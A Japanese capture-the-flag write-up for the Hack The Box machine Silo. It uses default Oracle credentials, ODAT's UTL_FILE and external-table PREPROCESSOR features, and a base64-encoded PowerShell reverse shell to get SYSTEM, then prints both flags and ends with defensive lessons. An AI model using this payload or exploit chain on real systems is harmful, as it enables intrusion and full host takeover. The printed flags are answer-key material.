Hack The BoxのWriteup(Silo)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Silo — 全実行コマンド・実行結果レポート
Nmap スキャン
80/135/139/445/1521/5985/47001/RPC
Oracle既定資格情報
scott/tiger @ SID:XE
javaモジュール不可を確認
ORA-29538: Java not installed
UTL_FILE + externaltable
PREPROCESSOR悪用ブラインドRCE
PowerShellリバースシェル
nt authority\system 即時取得
user.txt ✓ (Phineas)
root.txt ✓ (同一SYSTEM権限)

ポートスキャン & バージョン検出

BASH
nmap -Pn -sV -p 80,135,139,445,1521,3389,5985 --max-retries 2 --host-timeout 30s 10.129.60.122
RESULT
PORT     STATE  SERVICE       VERSION
80/tcp   open   http          Microsoft IIS httpd 8.5
135/tcp  open   msrpc         Microsoft Windows RPC
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
443/tcp  closed https
445/tcp  open   microsoft-ds  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp open   oracle-tns    Oracle TNS listener 11.2.0.2.0 (unauthorized)
3389/tcp closed ms-wbt-server
5985/tcp open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
BASH
nmap -sV -sC -p 80,135,139,445,1521,5985,47001,49152-49162 10.129.60.122
RESULT
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 8.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp  open  oracle-tns   Oracle TNS listener 11.2.0.2.0 (unauthorized)
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152-49162/tcp open msrpc / oracle-tns (requires service name)
| smb2-security-mode:
|   3.0.2:
|_    Message signing enabled but not required
🚨
重要発見: ポート 1521 に Oracle TNS リスナーが稼働している。 SMB(445)は署名必須ではなく、5985(WinRM)も開いているが、まずは Oracle データベースサーバーへの直接攻撃が本命の侵入経路になる。 IIS(80)は静的な既定ページのみで目立った手掛かりはない。
PHASE 2

ODAT による Oracle SID / 資格情報の特定

SID / 資格情報を総当りする前に、既定値をまず直接検証する

NOTE
ODAT (Oracle Database Attack Tool) には sidguesser / passwordguesser という
総当りモジュールがあるが、本機の SID ("XE") と資格情報 ("scott/tiger") は
それぞれのデフォルト候補リスト(sids.txt 748件・oracle_default_userpass.txt
568件)の末尾付近に位置するため、VPN越しの通信遅延(往復200ms前後)を
踏まえると総当りには数分〜十数分かかる。さらに ODAT の passwordguesser には
「同一ユーザー名を一度でも試すと対話確認プロンプトを出す」仕様があり、
非対話実行では EOFError で異常終了することもある。

Oracle Express Edition の SID は "XE" が既定であり、scott/tiger は
Oracle の実質標準デモアカウント(広く公知)である。まずこの組み合わせを
軽量な utlfile --test-module で直接検証し、通れば総当りを省略する。
BASH
odat utlfile -s 10.129.60.122 -p 1521 -d XE -U scott -P tiger --sysdba --test-module
RESULT
[1] (10.129.60.122:1521): Test if the UTL_FILE library can be used
[1.1] UTL_FILE library ?
[+] OK
認証成功。 SID XE / 資格情報 scott/tiger(Oracle デモアカウント の既定値)でそのまま接続できることを確認した。総当りは不要。
PHASE 3

RCE 経路の選定 — javaモジュールは不可、externaltableで代替

javaモジュール (OJVM経由RCE) を試す — 失敗

NOTE
Oracle サービス自体が NT AUTHORITY\SYSTEM で稼働している構成では、
ODAT の java モジュール(Oracle JVM 上の Java ストアドプロシージャ経由で
Runtime.exec() を呼び出し標準出力を直接取得する手法)が最も手軽な
RCE 経路になる。まずこれを試す。
BASH
odat java -s 10.129.60.122 -p 1521 -d XE -U scott -P tiger --exec whoami
RESULT
[1] (10.129.60.122:1521): Execute the `whoami` on the 10.129.60.122 server
[-] Impossible to use the JAVA library to execute a system command: `ORA-29538: Java not installed`
⚠️
javaモジュールは使用不可。 この Oracle インストールには Java オプションが 導入されていない(ORA-29538)。よくある walkthrough は java モジュールの 直接 RCE を前提にしているが、本機では通用しないため代替経路が必要。

利用可能なモジュールを個別に確認する

NOTE
odat all で全モジュールを一括診断すると、途中の「ユーザー名=パスワード」
総当りステップ(userlikepwd)で対話確認プロンプトが出て非対話環境では
異常終了するため、必要なモジュールだけを個別に --test-module で確認する。
BASH
odat utlfile -s 10.129.60.122 -p 1521 -d XE -U scott -P tiger --sysdba --test-module
odat externaltable -s 10.129.60.122 -p 1521 -d XE -U scott -P tiger --sysdba --test-module
RESULT
[1.1] UTL_FILE library ?
[+] OK

[1.1] External table to read files ?
[+] OK
[1.2] External table to execute system commands ?
[+] OK
ℹ️
UTL_FILE(ファイル書き込み)と externaltable の PREPROCESSOR 悪用による システムコマンド実行が両方とも有効。この2つを組み合わせて RCE を成立させる。

externaltable の仕組みと制約

NOTE
externaltable モジュールは、Oracle の外部表 (ORGANIZATION EXTERNAL) 機能の
PREPROCESSOR 句を悪用する。指定したディレクトリに既に存在するファイルを
「行データを生成する前処理プログラム」として実行させる仕組みで、

  odat externaltable --exec <リモートのディレクトリ> <実行するファイル名>

という形で「そのディレクトリに既にあるファイル」を実行するだけであり、
java モジュールのように任意コマンド文字列を直接渡して標準出力を
そのまま受け取ることはできない(ブラインド実行)。

そのため、まず UTL_FILE でリバースシェルを起動するペイロード
(.bat ファイル)をディスク上に書き込み、その後 externaltable の
PREPROCESSOR 機構で「そのファイルを実行させる」という二段構えにする。
PHASE 4

UTL_FILE + externaltable でリバースシェル取得 & user.txt

PowerShell リバースシェルを base64 (-EncodedCommand) で用意

NOTE
.bat ファイルに PowerShell の生スクリプトをそのまま書くと、cmd.exe の
バッチ行解析が特殊文字(例: ForEach-Object のエイリアス "%{...}" の "%")
を変数展開記号と誤認して壊してしまう。実際に最初の試行では以下のエラーで
失敗した:

  ORA-29913: ... KUP-04095: preprocessor command
  C:\Users\Public\silo_shell.bat encountered error "At line:1 char:109 ..."

対策として、PowerShell スクリプトを UTF-16LE + base64 エンコードし、
"powershell -enc <base64>" 形式で呼び出す(-EncodedCommand)。
これにより cmd.exe のバッチ解析を経由する特殊文字が一切なくなる。
PYTHON (ペイロード生成)
import base64

ps = (
    "$c=New-Object System.Net.Sockets.TCPClient('10.10.15.200',4444);"
    "$s=$c.GetStream();[byte[]]$b=0..65535|ForEach-Object{0};"
    "while(($i=$s.Read($b,0,$b.Length)) -ne 0){"
    "$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);"
    "$sb=(iex $d 2>&1 | Out-String);"
    "$sb2=$sb+'PS '+(pwd).Path+'> ';"
    "$sbt=([text.encoding]::ASCII).GetBytes($sb2);"
    "$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()"
)
b64 = base64.b64encode(ps.encode("utf-16-le")).decode()

with open("silo_shell.bat", "w", newline="\r\n") as f:
    f.write(f"@echo off\npowershell -nop -w hidden -enc {b64}\n")

UTL_FILE でペイロードを C:\Users\Public に書き込む

BASH
odat utlfile -s 10.129.60.122 -p 1521 -d XE -U scott -P tiger --sysdba \
  --putFile 'C:\Users\Public' silo_shell.bat ./silo_shell.bat
RESULT
[1] (10.129.60.122:1521): Put the ./silo_shell.bat local file in the C:\Users\Public folder like silo_shell.bat on the 10.129.60.122 server
[+] The silo_shell.bat file was created on the C:\Users\Public directory on the 10.129.60.122 server
ℹ️
C:\Users\Public は全ローカルアカウントから書き込み・実行が可能な既定ディレクトリで、 UTL_FILE の書き込み先として都合が良い。

リスナー起動 & externaltable でペイロードをトリガー

BASH
# ターミナル1: リバースシェル用リスナー
nc -lvnp 4444

# ターミナル2: externaltable の PREPROCESSOR 機構で silo_shell.bat を実行させる
# (この呼び出しはシェルが張られている間ブロックし続けるためバックグラウンドで実行)
odat externaltable -s 10.129.60.122 -p 1521 -d XE -U scott -P tiger --sysdba \
  --exec 'C:\Users\Public' silo_shell.bat
RESULT (nc リスナー側)
listening on [any] 4444 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.60.122] 49166
nt authority\system
PS C:\oraclexe\app\oracle\product\11.2.0\server\DATABASE>
シェル取得成功! Oracle サービス自体が NT AUTHORITY\SYSTEM で稼働しているため、 RCE成立と同時に最上位権限のシェルが得られる。追加の権限昇格は一切不要。

ユーザー列挙 & user.txt 取得

BASH
PS> Get-ChildItem C:\Users -Name
RESULT
.NET v2.0
.NET v2.0 Classic
.NET v4.5
.NET v4.5 Classic
Administrator
Classic .NET AppPool
Phineas
Public
BASH
PS> Get-Content "C:\Users\Phineas\Desktop\user.txt" -ErrorAction SilentlyContinue
RESULT
d7daf4964dd31750a89f284ba9605969
user.txt — Phineas
d7daf4964dd31750a89f284ba9605969
PHASE 5

root.txt 取得 — 同一 SYSTEM 権限を再利用

追加の権限昇格は不要

NOTE
4-3 で確立したシェルは既に nt authority\system であり、Windows上で
最上位の権限を持つ。Rainbow (UACバイパスが必要) や一般的な Windows box とは異なり、
Oracle サービスのサービスアカウント設定に起因する設計上の欠陥により、
DBの弱資格情報を突いた時点でホストの最上位権限が直接手に入る。
そのため Phase 4 と全く同じシェル・同じコマンド体系で root.txt を読むだけでよい。
BASH
PS> whoami
PS> Get-Content "C:\Users\Administrator\Desktop\root.txt" -ErrorAction SilentlyContinue
RESULT
nt authority\system
b2a1e2274ade3caca7f15f381cc508de
root.txt — Administrator@SILO
b2a1e2274ade3caca7f15f381cc508de

トラブルシューティング: PREPROCESSOR 実行が途中で切れる場合

NOTE
externaltable の SELECT クエリはプリプロセッサの標準出力を外部表の行データとして
パースしようとするため、PowerShell がエラーストリームに CLIXML 形式の
データ("#< CLIXML" で始まる)を出力すると、Oracle 側がパース不能と判断して
プリプロセッサの子プロセス(cmd.exe → powershell.exe)を早期に強制終了する
ことがある。これによりリバースシェルの接続が数コマンド分のやり取りの後に
唐突に切れる場合がある。

対策: 複数回に分けてコマンドを送るのではなく、必要な処理(whoami・
ユーザー列挙・両フラグの読み取り)をセミコロン区切りで1回のコマンドラインに
まとめて送信し、接続が生きている短い時間内に全結果を回収する。
BASH
PS> whoami; Get-ChildItem C:\Users -Name; `
    Get-Content "C:\Users\Phineas\Desktop\user.txt" -ErrorAction SilentlyContinue; `
    Get-Content "C:\Users\Administrator\Desktop\root.txt" -ErrorAction SilentlyContinue
RESULT
nt authority\system
.NET v2.0
.NET v2.0 Classic
.NET v4.5
.NET v4.5 Classic
Administrator
Classic .NET AppPool
Phineas
Public
d7daf4964dd31750a89f284ba9605969
b2a1e2274ade3caca7f15f381cc508de
1回の送信に集約することで、接続が短時間で切れる場合でも両フラグを確実に回収できた。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — Phineas
d7daf4964dd31750a89f284ba9605969
root.txt — Administrator@SILO
b2a1e2274ade3caca7f15f381cc508de

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Oracle既定資格情報 Oracle TNS listener (1521, SID: XE) DBへの認証済みアクセス High ODAT で SID を特定し、scott/tiger(Oracleデモアカウントの既定値)でログイン
UTL_FILE + external table PREPROCESSOR RCE Oracle Database (SYSTEM権限で稼働) リモートコード実行(NT AUTHORITY\SYSTEM) Critical UTL_FILEでリバースシェル用.batを書き込み、external tableのPREPROCESSOR句で実行させブラインドRCE
過剰なサービス権限 Oracle Windows サービスアカウント 権限昇格不要で即SYSTEM High Oracleサービス自体がSYSTEMで稼働しているため、DB侵害=ホスト完全掌握となる設計上の欠陥

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap バージョン・スクリプトスキャン80/135/139/445/1521/5985/47001、Oracle TNS 11.2.0.2.0 検出
2資格情報特定ODAT utlfile –test-module による直接検証SID: XE、資格情報: scott/tiger
3RCE経路選定java モジュール失敗確認 → externaltable/utlfile を個別テストjava: ORA-29538で不可、externaltable+utlfile: 利用可能
4エクスプロイトbase64エンコードPowerShellリバースシェル + UTL_FILE書込 + external table PREPROCESSOR実行user.txt 取得(nt authority\system シェル)
5フラグ取得同一SYSTEMシェルでGet-Content実行root.txt 取得(追加の権限昇格なし)

学んだ教訓 & 防御策

問題点防御策
Oracle データベースにデモアカウント (scott/tiger) の既定パスワードが残存 本番環境ではデモ/サンプルアカウントを削除し、既定パスワードを必ず変更する。Oracle既定資格情報リストを用いた定期監査を実施する。
PL/SQLパッケージ (UTL_FILE) や外部表機能が過剰な権限で一般ユーザーに開放されている UTL_FILE・DBMS_SCHEDULER・CTXSYSなど強力なパッケージへのPUBLIC権限付与を見直し、最小権限の原則を徹底する。外部表のPREPROCESSOR句の使用を制限・監視する。
Oracle Windows サービスが NT AUTHORITY\SYSTEM で稼働しており、DB侵害が即ホスト完全掌握につながる Oracle サービスは専用の低権限サービスアカウントで稼働させ、SYSTEM権限を付与しない。DBサーバーとアプリケーションサーバーのネットワーク分離も有効。
アウトバウンド接続(DBサーバーから任意の外部ホストへのTCP接続)が制限されていない DBサーバーからのアウトバウンド通信をファイアウォールで必要最小限に制限し、未知の宛先へのリバースシェル接続を検知・遮断する。
HackTheBox: Silo | 完全攻略レポート